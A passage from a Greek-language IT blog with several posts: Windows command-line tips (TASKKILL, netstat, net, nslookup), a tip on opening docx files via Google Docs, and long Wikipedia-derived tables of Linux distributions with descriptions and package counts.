    TASKKILL /IM notepad.exe
    TASKKILL /PID 1230 /PID 1241 /PID 1253 /T


    Το καλό της υπόθεσης είναι ότι μπορούν να γίνουν και σε απομακρυσμένο υπολογιστής χρησιμοποιώντας το /S (όνομα συστήματος) και το /U (όνομα χρήστη)



    netstat – Όπως ανέφερα και σε προηγούμενο blog μπορεί ένας χρήστης να μάθει πολλά από αυτή την εντολή για τα connections που έχουν γίνει από και προς το σύστημα σας.



    net command – Από τις πρώτες εντολές που χρησιμοποίησα πολλά πολλά χρόνια πριν. Οι δυνατότητες είναι απλά πάρα πολλές και όλες πολύ χρήσιμες. Δημιουργήστε map network drive με την Net use, ή στείλτε ένα μήνυμα σε κάποιο μηχάνημα με την εντολή NET SEND



    nslookup – Με την χρήση του Internet και του DNS, η ζωή μας έγινε πιο εύκολη για να χρησιμοποιήσουμε φιλικά σε εμάς ονόματα για να συνδεθούμε κάπου. Με το εργαλείο αυτό ελέγχουμε DNS servers και βοηθάει πολύ σε περιπτώσεις troubleshooting. Η nslookup μπορεί να τρέξει είτε σαν interactive ή σαν noninteractive. Η δεύτερη περίπτωση είναι χρήσιμη μόνο όταν ένα και μόνο μέρος data πρέπει να επιστρέψει. Πχ to resovle google.com



    Μερικές χρήσιμές εντολές του nslookup είναι οι εξής:

    set domain (ορίζουμε το default domain για να χρησιμοποιήσει κατά την διαδικασία του resolving, έτσι ώστε να μην χρειάζεται να χρησιμοποιούμε συνέχεια fully qualified name).

    set type (επιλέγουμε τον τύπο του query record που θέλουμε να πάρουμε όπως A, MX, NS)

    server NAME (με αυτή την εντολή δηλώνουμε άλλο server από αυτόν που χρησιμοποιεί το μηχάνημα μας)

    ------------------------------------------------

     

     

     

     

     

     

     

     

     

    Summary Part 1

    Οι παραπάνω εντολές, είναι εντολές που έχω χρησιμοποιήσει κατά καιρούς και με έχουν βοηθήσει. Φυσικά οι περισσότεροι από εδώ μέσα έχετε κάνει χρήση των παραπάνω, αλλά για όσους δεν τις γνωρίζουν είναι ευκαιρία να τις μάθουν. Φυσικά οι παραπάνω εντολές ισχύουν στα συστήματα της Microsoft.

    Αναμένετε την συνέχεια για τις υπόλοιπες εντολές…
  22. Blackman
    Μετά την έλευση του Microsoft Office 2007, στην ζωή μας μπήκαν όλα τα γνωστά αρχεία που υποστηρίζει το συγκεκριμένο σύστημα (docx, xlsx κλπ).

    Η λύση που υπάρχει για τα ποιο παλιά Office ήταν η εγκατάσταση του Office Compatibility Pack, το οποίο βοηθάει στην μετατροπή του αρχείου, ώστε να μπορεί το σύστημα να το ανοίξει. Όμως τι γίνεται αν αυτό το pack δεν έχει εγκατασταθεί, αν είσαστε σε υπολογιστή που δεν έχει καν office ή ακόμα έχει Open Office σε παλιότερη έκδοση; Τι γίνεται αν δεν έχετε δικαιώματα σε αυτόν τον υπολογιστή (χαρακτηριστικό κάποιου απλού χρήστη);

    Η νέα έκδοση του Open Office εδώ και αρκετό καιρό ανοίγει τέτοιου είδους αρχεία...

    αλλά δεν υπάρχει λόγος να κάνω τέτοιο πρόλογο για να αναφέρω κάτι τέτοιο. Το tip αναφέρετε στην λύση που μας δίνουν τα Google Docs.

    Ναι, αν δεν μπορείτε να ανοίξετε κάποιο τέτοιο αρχείο (docx, xlsx κλπ), ανεβάστε το στο Google Docs (προποθέτει ότι έχετε λογαριασμό gmail) και στην συνέχεια το ανοίγετε και το επεξεργάζεστε.

    Το συγκεκριμένο το αντιμετώπισα πρόσφατα όταν έπρεπε να ανοίξω ένα docx, και στον υπολογιστή που ήμουν (όχι στην δική μου εταιρεία) δεν είχε εγκατεστημένο compatibility pack, αλλά επίσης δεν είχα και δικαιώματα εγκατάστασης. Με την παραπάνω λύση έκανα την δουλειά μου χωρίς πρόβλημα.

     
  23. Blackman
    Συνολική Λίστα και πληροφορίες

    Παρακάτω μπορείτε να δείτε την κάθε διανομή με μία σχετική περιγραφή που μπορεί να σας βοηθήσει στην τελική επιλογή.

    <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

     

    Distribution


    Description


    64 Studio


    Attempts to specialize in audio and video production on x86-64 workstations.


    AbulÉdu


    French. Designed for data processing in educational establishments.


    AGNULA


    Former DeMuDi for multimedia production


    Baltix


    Ubuntu based distribution for Lithuanian and Latvian people. Supported languages are Lithuanian, Latvian, Estonian, Russian, English, Norwegian and other around Baltic region. Main language is Lithuanian.


    BeatrIX


    A compact distribution from the Czech Republic that focuses on providing a user-friendly desktop environment.


    Behördendesktop


    A Debian-based public Linux distribution developed by the German Federal Office for Information Security.


    Corel Linux


    Commercial. Short-lived desktop distribution, bought by Xandros Linux.


    Damn Small Linux


    A desktop Linux distribution designed to be extremely lightweight and run on less powerful hardware.


    Dreamlinux


    A Brazilian Linux distribution.


    Elive


    A Live CD and Distribution featuring Enlightenment as the only window manager. Aims to be intuitive and easy to use.


    Finnix


    A small system administration Live CD that is available for multiple architectures.


    Freespire


    A Debian-based, community-driven and -supported project tied to the commercial Linspire distribution.


    Gibraltar


    Commercial. Router/firewall distribution.


    gnuLinEx


    A distribution promoted by the government of Extremadura, Spain.


    grml


    Live CD for system recovery


    Hikarunix


    A distribution solely for studying and playing the game of Go. Based on Damn Small Linux.


    Kanotix


    An installable live CD for desktop usage using KDE, focusing on convenient scripts and GUI for ease of use.


    Knoppix


    The first Live CD (later DVD) version of Debian GNU/Linux.


    Kurumin


    Earlier, it was a version of the Knoppix distribution, modified with Debian and designed for Brazilian users.


    LEAF Project


    The Linux Embedded Appliance Framework. A tiny primarily floppy-based distribution for routers, firewalls and other appliances.


    LiMux


    An ISO 9241 industry workplace certified Linux distribution, deployed at the City of Munich, Germany.


    Linspire


    Commercial. Desktop-oriented distribution, previously called Lindows. Focuses on a proprietary software application manager obtained via a paid (CNR) subscription. Bought by Xandros Linux.


    Maemo


    A development platform for hand held devices such as the Nokia N800, N810 and Nokia N900 Internet Tablets and other Linux-based devices.


    MEPIS


    Focuses on ease of use. Also includes lightweight variant called antiX. antiX is meant to be used on older computers with limited hardware.


    Neopwn


    Debian based network penetration-testing distribution for mobile phones.


    NepaLinux


    A Debian and Morphix based distribution focused for desktop usage in Nepali language computing.


    Omoikane


    A Japanese distribution based on Debian testing.


    OpenZaurus


    Debian packages and ROM image for the Sharp Zaurus PDA. Replaced by Ångström distribution.


    Outernet Server


    A modified version of Debian that installs pre-configured and is specifically meant for a High speed multimedia Networks.


    Parsix


    Optimized for personal computers


    Progeny Componentized Linux


    Distribution from Progeny Linux Systems which was also founded by Debian founder Ian Murdock.


    Pure:dyne


    pure:dyne is a Debian based operating system developed to provide media artists with a complete set of tools for realtime audio and video processing.


    Rxart


    Desktop-oriented distribution. Focused on providing proprietary software.


    Sacix


    A Debian Pure Blend originally created to support the educational and free software diffusion goals of the Telecentres project of the city of São Paulo, Brazil.


    Salgix


    Distribution developed and maintained by GMSI (Gemini Microsystems International) for its line of Visual Computing workstations.


    Santa Fe Linux


    A commercial distribution by New Mexico Software. Discontinued.


    sidux


    Multilingual desktop-oriented Live CD based on Debian unstable.


    Skolelinux


    A distribution from Norway. It is provided as a thin client distribution for schools.


    Sunwah Linux


    A Chinese distribution


    Symphony OS


    Includes the Mezzo desktop environment. Previous versions were based on Knoppix.


    The Linux Router Project


    A defunct floppy-based distribution for routers and firewalls. Supplanted by LEAF Project.


    Ubuntu


    A distribution sponsored by Canonical Ltd as well as receiving major funding from South African Mark Shuttleworth. Aims to offer a complete and polished desktop on a single CD.


    Ulteo


    Virtual desktop project


    UserLinux


    Commercial distribution that would have included GNOME. Short-lived.


    Xandros Open Circulation Edition


    Based on Xandros 3.0 Standard Edition. DVD burning is disabled and CD burning is restricted to a maximum speed of 4X.


    Xebian


    For the Xbox home gaming console.


    Feather Linux


    Fits in under 128 MB. It boots from either a CD or a USB flash drive. Uses Knoppix-based hardware detection and the Fluxbox window manager.


    Kaella


    The French translation of Knoppix.


    Morphix


    A Live CD distribution with different flavours, including GNOME. Used as a base for many other custom live distribution such as Clusterix, PHLAK or Gnix.


    Musix


    A Knoppix/Debian based distribution, intended for music production, graphic design, audio, video editing, and other tasks. It is built with only free software.


    PHLAK


    A Live security distribution based on Morphix.


    Ubuntu Server Edition


    An official derivative made for use in servers. Ubuntu Server handles mail, controls printers, acts as a fileserver, can host LAMP and more.


    Kubuntu


    An official derivative of Ubuntu using KDE instead of the GNOME which is used by default in Ubuntu.


    Xubuntu


    An official derivative of Ubuntu using Xfce. Xubuntu is intended for use on less-powerful computers or those who seek a highly efficient desktop environment on faster systems[2], and uses mostly GTK+ applications.


    Edubuntu


    A complete Linux-based operating system targeted for primary and secondary education. It is freely available with community based support. The Edubuntu community is built on the ideas enshrined in the Edubuntu Manifesto: that software, especially for education, should be available free of charge and that software tools should be usable by people in their local language and despite any disabilities. Since version 8.04, Edubuntu has now been named Ubuntu Education Edition and has been made as an add-on for the Ubuntu operating system.[3]


    Gobuntu


    Gobuntu was an official derivative of the Ubuntu operating system, aiming to provide a distribution consisting entirely of free software. It was officially announced by Mark Shuttleworth on July 10, 2007, and daily builds of Gobuntu 7.10 began to be publicly released. The project ended around the release of 8.04 and has since merged into mainline Ubuntu as a 'free software' option.


    Ubuntu JeOS (pronounced as "juice")


    Described as "an efficient variant [...] configured specifically for virtual appliances".[4]


    Ubuntu Mobile


    An embedded operating system designed for use on mobile devices. The operating system will use Hildon from maemo as its graphical frontend.


    Ubuntu Netbook Remix[5]


    Released in 2008,[6] Netbook Remix is an official derivative of Ubuntu designed for netbooks using the Intel Atom processor.


    Ubuntu Studio


    An Ubuntu flavor providing the best open-source applications for multimedia creation aimed at the audio, video and graphic enthusiast or professional. It can either be installed by DVD or "upgraded" from Ubuntu using packages.


    Mythbuntu


    provides an Ubuntu based and MythTV based distribution that is easy to configure, maintain, and use.


    BackTrack


    Developed by Remote Exploit and designed for penetration testing.


    Buddhabuntu


    Ubuntu based distribution for Buddhists to complement Ubuntu Christian Edition and Muslim Editions


    BlankOn


    Ubuntu based distribution for users in Indonesia.


    Buildix


    An Ubuntu-based Linux distribution, developed by Global IT professional services firm, ThoughtWorks. For agile developers.


    CrunchBang Linux


    An Ubuntu based distribution featuring the lightweight Openbox window manager and GTK+ applications developed from a minimal Ubuntu install and has been designed to offer a good balance of speed and functionality.


    eBox


    Router/Firewall and NAS/PDC


    Eeebuntu


    Specifically for the Eee PC range of netbooks


    Fluxbuntu


    Light-weight and featuring the Fluxbox window manager


    gNewSense


    Designed for users who wish to use only free software. It is officially sponsored and recommended by the Free Software Foundation. The project has also produced a set of scripts that allow anyone to create a free distribution.


    Goobuntu


    An Ubuntu-based distribution used internally by Google.


    gOS


    Uses the GNOME desktop environment with user interface enhancements to make it work more like Mac OS X, it also features Google Apps, Picasa, Google Gadgets and other web-based applications, and comes with Wine 1.0 pre-installed


    Guadalinex


    Ubuntu-based distribution promoted by the local government of Andalucia, Spain, for home users and schools (cf. EduLinux, Skolelinux).


    Hiweed


    Chinese Linux distribution, based on Ubuntu. Its features include preconfigured Chinese applications, such as Chinese (simplified) input method, Chinese-English and English-Chinese dictionaries, and Chinese (simplified) true-type fonts.


    HP Mi (MIE)


    Based on Ubuntu 8.04 LTS, designed by Canonical and HP for use on the HP Mini 1000 and 110 series netbooks.[7]


    Impi Linux


    South African and focuses on the enterprise and government sector.


    Kuki Linux


    Lightweight Ubuntu-based Linux distribution founded by João Ferro, built to be a replacement for the Linpus Linux Lite distribution on the Acer Aspire One.


    Linux4One


    Based on Ubuntu, specially designed to work on the Acer Aspire One series


    Linux Mint


    Linux Mint synchronizes its release-cycle with Ubuntu's, and is tailored to user-friendliness for desktop users.


    LinuxMCE (Linux Media Center Edition)


    Kubuntu based distribution that provides in-depth HTPC functionality as well as home automation.


    LinuxTLE


    A Thai Linux distribution.


    LliureX


    A distribution by the Generalitat Valenciana


    LOUD (LCSEE Optimized Ubuntu Distribution)


    An Ubuntu distribution used at West Virginia University. It contains several specialized educational packages as well as its own themes and login manager.


    MAX


    Stands for MAdrid LinuX.


    Molinux


    Ubuntu based initiative to introduce the Castile-La Mancha community in Spain to the information society.


    Moon OS


    Moon OS uses the Enlightenment window manager and also has an LXDE version, and is based on the LTS release.


    Mundus OS


    An unofficial derivative of Ubuntu


    nUbuntu or Network Ubuntu


    Based on Ubuntu. Available as a Live CD and Full Install with tools needed for penetration-testing servers and networks.


    OpenGEU


    Ubuntu based distribution with Enlightenment window manager, previously known as Geubuntu.


    Poseidon Linux


    For academic and scientific use. Based on Ubuntu, but enhanced by e.g. GIS/maps, numerical modelling, 2D/3D/4D visualization, statistics, tools for creating simple and complex graphics, programming languages.


    PSUbuntu


    Ubuntu distribution intended for the PlayStation 3.


    Sabily


    Ubuntu based distribution for Muslims (formerly Ubuntu Muslim Edition).


    Spri


    Lightweight Ubuntu derivative replacing GNOME desktop environment with lightweight IceWM window manager. Designed for ageing and low powered computer hardware.


    Super OS (formerly: Super Ubuntu)


    Aiming to provide an ‘Out of the Box’ experience, containing various enhancements over Ubuntu.


    Trisquel


    Created in Galicia (Spain). It has support for old PCs, includes a 3D desktop with Compiz.


    TurnKey Linux


    Open source project developing a family of free, Ubuntu-based appliances optimized for ease of use in server-type usage scenarios.


    Tuquito


    Created in Argentina.


    U-lite


    Has the main goal to be very light consuming hardware resources. The last version uses the LXDE desktop environment. It was previously called Ubuntulite.


    Ultimate Edition


    Formerly Ubuntu Ultimate, it is based on Ubuntu and contains various software not included in the official Ubuntu repositories.


    XBMC Live


    An embedded operating system with XBMC Media Center designed to make any computer into a dedicated media center appliance.


    UserOS


    A series of operating systems made by PC User, based on either Ubuntu or Xubuntu, there are 4 releases.


    Calculate Linux


    Calculate Linux is a family of distributions.


    Flash Linux


    Customized to fit on a 256 MB flash drive


    Gentoox


    An adaptation of Gentoo for the Xbox.


    iloog


    For academic/student usage.


    Knopperdisk


    A new distribution aimed at USB sticks.


    Kororaa


    Aimed at easy installation of a Gentoo system by using install scripts instead of manual configuration.


    Navyn OS


    A Polish distribution focused on security


    Pentoo


    Penetration-testing Live CD


    Sabayon Linux


    An installable Live DVD with multiple desktop environments. Uses a customized version of Red Hat's Anaconda Installer. Includes a Media Center application.


    SystemRescueCD


    System rescue Live CD version of Gentoo.


    Tin Hat Linux


    Based on hardened Gentoo


    Ututo


    Made in Argentina


    VidaLinux


    Uses Anaconda as its installer.


    Arch Linux


    An i686- and x86-64-optimized distribution targeted at experienced users. Arch runs on a rolling release system and uses the pacman utility for package management.


    DeLi Linux


    A desktop based mini distribution with office suite, web browser and other graphical programs to run on a 486. Built from scratch with some influences from Slackware and CRUX.


    Frugalware


    A general purpose Linux distribution designed for intermediate users. Has some influences from Slackware, and uses the Pacman package manager.


    LinHES


    Based on Arch Linux since version R6.[8] Specialized distribution for easy setup of the MythTV PVR software.


    Maryan Linux


    Will be based on Arch Linux in the next release candidate (Codename Bulnesia). Uses Enlightenment as its default window manager, also has Fluxbox and Pekwm ready to use. It is aimed at users migrating from Microsoft Windows.


    aLinux


    A distribution for home use designed to be equivalent to Windows XP Home (formerly known as Peanut Linux). Discontinued.


    ALT Linux


    Several distributions including Master, Compact, and Junior. Provides support for Cyrillic languages.[9]


    Ark Linux


    A distribution focused on ease of use and ease of learning.


    Caldera OpenLinux


    Caldera bought SCO then took the SCO name and no longer produces a Linux distribution. Last release: 3.1.1 - Jan. 30, 2002


    cAos Linux


    A general purpose distribution. Designed to have low overhead, run on older hardware, and be easily customizable.


    PLD Linux


    Fedora


    Community-supported distribution sponsored by Red Hat. It usually features cutting-edge Linux technologies.


    Linkat


    A distribution promoted by the government of Catalonia, Spain.


    Lycoris Desktop/LX


    Mandriva Linux


    Easy to use system through its unique Control Center.


    Red Hat Linux


    Split into Fedora Core and Red Hat Enterprise Linux. The last official release was Red Hat Linux 9 in March 2003.


    SUSE Linux


    A desktop-oriented Linux distribution by Novell, Inc., popular in Europe and having Eval versions.


    ·         openSUSE - A community-developed branch, sponsored by Novell. It maintains a strict policy of ensuring all code in the standard installs will be from Free/Libre/Open-Source Software solutions, including Linux kernel Modules. Novell's enterprise Linux products are all based on the codebase that comes out of the openSUSE project.


    ·         SUSE Linux Enterprise Server - A server-oriented Linux distribution supplied by Novell, Inc. and targeted at the business market.


    ·         SUSE Linux Enterprise Desktop (previously branded Novell Linux Desktop) - A desktop-oriented Linux distribution supplied by Novell, Inc. and targeted at the enterprise market.


    ·         SUSE Linux Enterprise Real Time - A specialized version of the SUSE distribution from Novell designed to support low latency for time critical operations.


    Turbolinux


    Based on Red Hat Linux.


    Vine Linux


    A Japanese distribution based on Red Hat Linux.


    YOPER


    A desktop distribution from New Zealand that focuses on optimizing system performance for workstation use.


    Aurora SPARC Linux


    For Sun's SPARC architecture


    Berry Linux


    A medium-sized Fedora-based distribution that provides support in Japanese and English.


    BLAG Linux and GNU


    Made by the Brixton Linux Action Group.


    EduLinux


    For educational purposes (cf. Guadalinex, Skolelinux)


    EnGarde Secure Linux


    Server-only distribution designed to be secure.[10]


    K12LTSP


    A distribution for educational purpose. Comes with LTSP support.


    Linpus Linux


    Focused on the Chinese market, along with Linpus Lite focused on the netbook market.


    Moblin


    Built around the Intel Atom processor


    MythDora


    Specialized distribution for easy setup of the MythTV PVR software, similar to KnoppMyth, based on Fedora.


    Ojuba Linux


    Focused on providing the best Arabic support, as well as some Islamic tools such as Hijra (Hijri calendar) and Minbar (prayer time indicator).


    Red Hat Enterprise Linux


    Red Hat's officially supported distribution. Meant for enterprise use.


    Russian Fedora Remix


    A remix of Fedora.


    Simplis


    Simplis (formerly Vixta) is a distribution that tries to emulate the appearance of Windows Vista. It is based on KDE.


    Trustix


    A distribution focused on security.[11]


    Yellow Dog Linux


    For the PowerPC platform.


    Asianux


    A distribution co-developed between Red Flag Software Co., Ltd., Miracle Linux Corp. and Haansoft, INC., focused on Chinese, Japanese and Korean supports.


    CentOS


    Community-supported distribution that aims to be compatible with Red Hat Enterprise Linux without the inclusion of proprietary software.


    ClarkConnect


    Small Business Server. File, Print, Messaging, UTM, VPN.


    EVEREST Linux


    Based on Red Flag Linux. Provides support for the Loongson architecture.


    Fermi Linux LTS


    Based on Scientific Linux.[12]


    Lineox


    Forked from Red Hat Enterprise Linux 3. Discontinued.[citation needed]


    Miracle Linux


    Developed by Japanese software vendor Miracle Linux Co., Ltd


    Oracle Enterprise Linux


    Supported by Oracle. Aims to be fully compatible with Red Hat Enterprise Linux.


    Red Flag Linux


    A distribution developed in China and optimized for the Chinese market. Based on Asianux.


    Rocks Cluster Distribution


    A distribution for building a High-Performance Computing computer cluster, with a recent release supporting Cloud computing. It is based on Red Hat Enterprise Linux but with extensions to support large multi-node heterogeneous systems for clusters (HPC), Cloud, and Data Warehousing (in development).


    Scientific Linux


    A distribution co-developed by Fermi National Accelerator Laboratory and the European Organization for Nuclear Research (CERN), which aims to be compatible with and based on Red Hat Enterprise Linux.


    SME Server


    Based on CentOS and targeting Small and Medium Enterprises.


    TrixBox


    Based on CentOS.


    White Box Enterprise Linux


    A distribution designed to be compatible with Red Hat Enterprise Linux. Discontinued.


    Annvix


    A security-focused server distribution. Originally based on Mandrake 9.2 but has diverged a lot. Discontinued.


    Caixa Mágica


    A Portuguese distribution.


    MCNLive


    A Mandriva-based distribution designed to run from CD or USB Flash Drive, focused on multimedia, internet, graphics.


    PCLinuxOS


    A Live CD distribution. Originally based on Mandrake 9.2. Later rebased on Mandriva 2007.


    Trinity Rescue Kit


    Aimed specifically at offline operations for Windows and Linux systems such as rescue, repair, password resets and disk cloning


    Granular Linux


    Based on PCLinuxOS and features two desktop environments - KDE & Enlightenment


    Karoshi


    A PCLinuxOS-based distribution designed for use in schools.


    TinyMe


    A lightweight distribution based on PCLinuxOS


    Austrumi


    An 86 MB bootable live CD


    BasicLinux


    A mini Linux designed to run in old PCs (386). Has a certain degree of compatibility with Slackware packages.


    Draco GNU/Linux


    A distribution based on Slackware[13][citation needed] that uses pkgsrc for package management.


    Fortress Linux


    Fortress Linux is an extreme secure and user-friendly Linux distribution that is build from scratch with some influences from Slackware (pkg), Hardened Linux From Scratch, Ubuntu, NetBSD etc and it comes with a powerful management tool, USB / flashcard key authorization and a stripped-down / Live version. Designed for modern personal computers, laptops, embedded devices and servers.


    GoblinX


    A live CD that features multiple customizable desktop environments.


    HostGIS


    HostGIS Linux is a Slackware based distribution specifically made for handling GIS information.


    KateOS


    A desktop distribution aimed at intermediate users. It uses Xfce as its default desktop environment.


    MuLinux


    Floppy-based distribution with replaceable modules.


    NimbleX


    Completely customizable through the NimbleX website.


    Recovery Is Possible


    Live CD for system maintenance and recovery.[14]


    Sentry Firewall


    A firewall, server or intrusion detection system distribution.


    Slackintosh


    An unofficial port of Slackware to the PowerPC architecture.


    Slamd64


    An unofficial port of Slackware to the x86-64 architecture.


    SLAX


    A very popular live CD which aims to provide a complete desktop for general use. Permanent installation of SLAX is not recommended or supported; it is designed for "live" use only.


    STUX


    Live CD


    Topologilinux


    Designed to run from within Microsoft Windows, Topologilinux can be installed without any changes to the user's hard disk.


    VectorLinux


    A lightweight distribution designed to be easy to use even for new users. Generally considered well-suited for older hardware.


    Wolvix


    A desktop-oriented Linux distribution based on Slackware, mainly targeted at home users, featuring Xfce.


    Zenwalk Linux


    Originally a minimal version of Slackware, Zenwalk has evolved into a very different operating system; however, compatibility with Slackware is still maintained.


    ZipSlack


    A lightweight and portable version of Slackware


    DAVIX


    A live CD for data analysis and visualization.


    DNALinux


    A small distribution designed for running bioinformatics software, including BLAST and EMBOSS.


    SLAMPP


    Designed to be used on a home server.


    Billix


    A live CD or live USB system administration toolkit and multi-boot distribution with the ability to install any of the included distributions.


    Coyote Linux


    Router/firewall distribution.


    CRUX


    CRUX is a lightweight, i686-optimized distribution targeted at experienced users. The focus is "keep it simple", which is reflected in a simple tar.gz-based package system, BSD-style initscripts, and a relatively small collection of trimmed packages


    DD-WRT


    Embedded firewall distribution.


    Devil-Linux


    Router/firewall/server distribution running from CD or USB. Configuration held on USB or floppy disk.


    DSLinux


    Version of Linux designed for the Nintendo DS.


    dyne:bolic


    Live CD geared toward multimedia (audio and video) production, but comes with other non-media specific application (eg: word processor, desktop publisher).


    Endian Firewall


    Specializes in Routing/Firewalling and Unified Threat Management.


    Familiar Linux


    Distribution for iPAQ handhelds.


    Fli4l


    a single floppy ISDN, DSL and Ethernet-Router.


    Foresight Linux


    A distribution built around the Conary package manager.


    FREESCO


    A free replacement for proprietary routers supporting up to 10 network cards and up to 10 modems.


    GeeXboX


    Live CD media center distribution, mainly to play special-encoded video files (eg: .ogg, XVID) on home theater.


    GoboLinux


    An alternative distribution which redefines the file system hierarchy by installing everything belonging to one application in one folder under /Programs, and using symlinks from /System and its subfolders to point to the proper files.


    IPCop


    Router/firewall distribution.


    iPodLinux


    Embedded Linux firmware for the Apple iPod based on the µCLinux kernel.


    Jlime


    Distribution for the HP Jornada 6xx and 7xx and NEC MobilePro 900(c) handhelds.


    KaeilOS


    Embedded Linux distribution


    LinuxConsole


    An independently developed distribution focusing heavily on gaming and multimedia.


    Lunar Linux


    A source code-based distribution descended from Sorcerer GNU/Linux.


    MCC Interim Linux


    MCC Interim Linux, possibly the first Linux distribution. Created by the Manchester Computing Centre in February 1992.


    Microcore Linux


    Small (6 MB), similar to Tiny Core Linux but with no GUI


    MkLinux


    A legacy distribution for PowerPC systems that runs the Linux kernel as a server on top of the Mach microkernel.


    Mobilinux


    By Montavista for smartphones.


    MontaVista Linux


    Embedded systems distribution by MontaVista Software.


    NASLite


    a floppy-based Linux designed to turn an old computer into a simple Network Attached Storage device.


    Nitix


    Developed by Net Integration Technologies Inc., Nitix claims to be the first autonomic Linux-based server operating system.


    OpenWrt


    Embedded firewall distribution.


    Pardus


    Developed by Turkish National Research Institute of Electronics and Cryptology. It uses PISI as package manager, COMAR as configuration framework.


    PS2 Linux


    Sony Computer Entertainment distribution released officially for the PlayStation 2 video game console.


    Puppy Linux


    A mini distribution which runs well under low-end PCs - even under 32 MB RAM. Includes Slackware 12 support (since version 3).


    rPath


    A distribution built around the Conary package manager.


    SliTaz GNU/Linux


    A small desktop distribution. The ISO is under 30 MB; runs entirely in RAM; uses its own tazpkg package system.


    Smallfoot


    Developed by the Santa Cruz Operation ( SCO UNIX / SCO Group ), formerly Caldera.


    SmoothWall


    Router/firewall distribution.


    Softlanding Linux System


    One of the earliest distributions, developed from 1992-1994; Slackware was originally based on it.


    Sorcerer


    A source code-based distribution.


    Source Mage GNU/Linux


    A source code-based distribution, descended from Sorcerer.


    Thinstation


    Thin client distribution supporting all major connectivity protocols.


    Tinfoil Hat Linux


    Bootable floppy distribution focusing on extreme security


    Tiny Core Linux


    Tiny Core Linux is a minimalist (around 10 MB) Linux system focusing on providing a base system with BusyBox, FLTK and other minimalist software.


    tomsrtbt


    Root boot disk.


    UHU-Linux


    xPUD


    Small distribution, aimed at being simple and usable. Features "plate" interface[clarification needed]


    Yggdrasil Linux/GNU/X


    One of the oldest Linux distributions, not updated since 1995.


     

    Φυσικά όλα αυτά μπορούν να συνδιαστούν με συστήματα Microsoft, με τρόπους που έχουν γραφτεί σε αυτό το Blog.

    Για να έχετε πλήρη εικόνα το πως θα μπορέσετε να λειτουργήσετε ένα linux σύστημα με τα υπόλοιπ windows συστήμα τα που έχετε, απλά ανατρέξτε στα παρακάτω

    http://autoexec.gr/blogs/blackman/archive/2009/01/28/authenicating-linux-active-directory-domain.aspx

    http://autoexec.gr/blogs/blackman/archive/2009/01/28/12787.aspx

    http://autoexec.gr/blogs/blackman/archive/2009/02/03/domain-controller-samba-microsoft.aspx

    http://autoexec.gr/blogs/blackman/archive/2009/05/08/nas-freenas-linux.aspx

    http://autoexec.gr/blogs/blackman/archive/2009/06/22/group-policies-mixed-environments-windows-linux-mac-os.aspx

    http://autoexec.gr/blogs/blackman/archive/2009/07/05/interoperability-sharepoint.aspx

    http://autoexec.gr/blogs/blackman/archive/2009/02/01/windows-vista-windows-2008-samba-interoperability-issues-how-to.aspx

     

    κύρια πηγή: Wikipedia
  24. Blackman
    <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />
     

    Special Distributions


    Για το τέλος άφησα κάποιες πιο εξειδικευμένες διανομές.



     



    Distribution  







    Base distribution  



    Latest release date  



    Purpose  




    Kuki Linux



    Ubuntu



    ?



    Acer Aspire One




    Edubuntu



    Debian



    03/07/2008



    computer lab




    SYS



    Slackware



    2009-06-02[7]



    desktop, development, server




    MontaVista Linux



    Debian



    2007-03-?



    embedded systems




    NexusWare Core



    Debian and others



    02/02/2008



    embedded systems




    KnoppMyth



    Debian, Knoppix



    09/09/2007



    Live Frontend, Desktop




    Mutagenix



    Slackware



    16/08/2007



    rescue, general purpose




    Paipix



    Debian



    17/10/2007



    science




    Scientific Linux



    RHL/RHEL



    28/06/2008



    science



     

    Βλέπουμε το Kuki Linux που διαμορφώθηκε αποκλειστικά για το Acer Aspire One notebooks, αλλά και άλλα ενδιαφέροντα όπως πχ το Edubuntu που σκοπός του είναι να προσφέρει ένα computer lab.Το Mutagenix είναι μία διανομή που έχω ακούσει καλά λόγια, αλλά δεν έχω δοκιμάσει (ακόμα). Ενώ το Scientific Linux ίσως τραβήξει το ενδιαφέρον πολλών αν μάθουν ότι το δημιούργησε η ομάδα του CERN.


     

    Πυρήνας του συστήματος (Linux KERNEL)


    Ένα από τα χαρακτηριστικά που κάνει να ξεχωρίζει μία διανομή από μία άλλη έχει να κάνει με την έκδοση του πυρήνα της εκάστοτε διανομής. Ο πυρήνας κάνει το σύστημα σταθερό ή ασταθές, για αυτό πριν προχωρήσετε σε οποιαδήποτε λύση ρίξτε μία ματιά στην έκδοση του kernel που χρησιμοποιεί.


     

    File System


    Στο linux το κλασσικό σύστημα αρχείων που μπορεί κάποιος να βρει είναι το ext3 . Ενώ με την χρήση του SAMBA μπορείτε να έχετε τόσο πρόσβαση σε fat ή ntfs partitions, ενώ ταυτόχρονα να μπορείτε να κάνετε και authentication σε ένα δίκτυο Microsoft.

    ----------------

    Τι μπορείτε να βρείτε σε σύνολο πακέτων-προγραμμάτων σε κάθε διανομή; Δείτε παρακάτω ενδεικτικά.





    Distribution  
    Approximate number of pre-compiled packages  

    ALT Linux
    8300[38]

    BLAG
    10000 [39]

    Mythbuntu
    26000

    Ubuntu,Kubuntu,Xubuntu
    26000

    Debian
    25113

    CrunchBang Linux
    23000

    Dreamlinux
    23000

    Linux Mint
    23000

    sidux
    23000

    openSUSE
    22000

    SUSE
    22000

    Alinex
    20300

    Elive
    20000

    Mandriva Linux
    20000

    MEPIS
    20000

    Caixa Mágica
    16000

    Arch Linux
    15000

    Foresight Linux
    15000

    Sabayon Linux
    12000

    Fedora
    8000

    SYS
    6000

    Source Mage GNU/Linux
    5514

    PCLinuxOS
    5025

    Rxart
    5000

    Ututo
    5000

    Ark Linux
    4000

    Knoppix
    3600

    Lunar
    3120

    Aurox
    3000

    Frugalware
    3000

    Red Hat Enterprise Linux
    3000

    QiLinux
    2500

    Linspire
    2200

    Slax
    2050

    GoboLinux
    2000

    Paipix
    2000

    Yoper
    2000

    CentOS
    1660

    Pardus
    1600

    Pie Box Enterprise Linux
    1500

    SliTaz GNU/Linux
    1400

    Musix GNU+Linux
    1300

    aLinux
    1200

    Kanotix
    1200

    CRUX
    1155

    DeMuDi
    875

    Damn Small Linux
    610

    SMS - Slack Mini Server
    600

    Slackware
    544

    EnGarde Secure Linux
    500

    NimbleX
    500

    Finnix
    350

    Puppy
    300

    gnuLinEx
    200

    Desktop Light Linux
    150

    Gentoo
    80 
    Go To Part 4
  25. Blackman
    συνεχίζοντας την αναφορά μας...

    <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />
     

    Portable Distributions


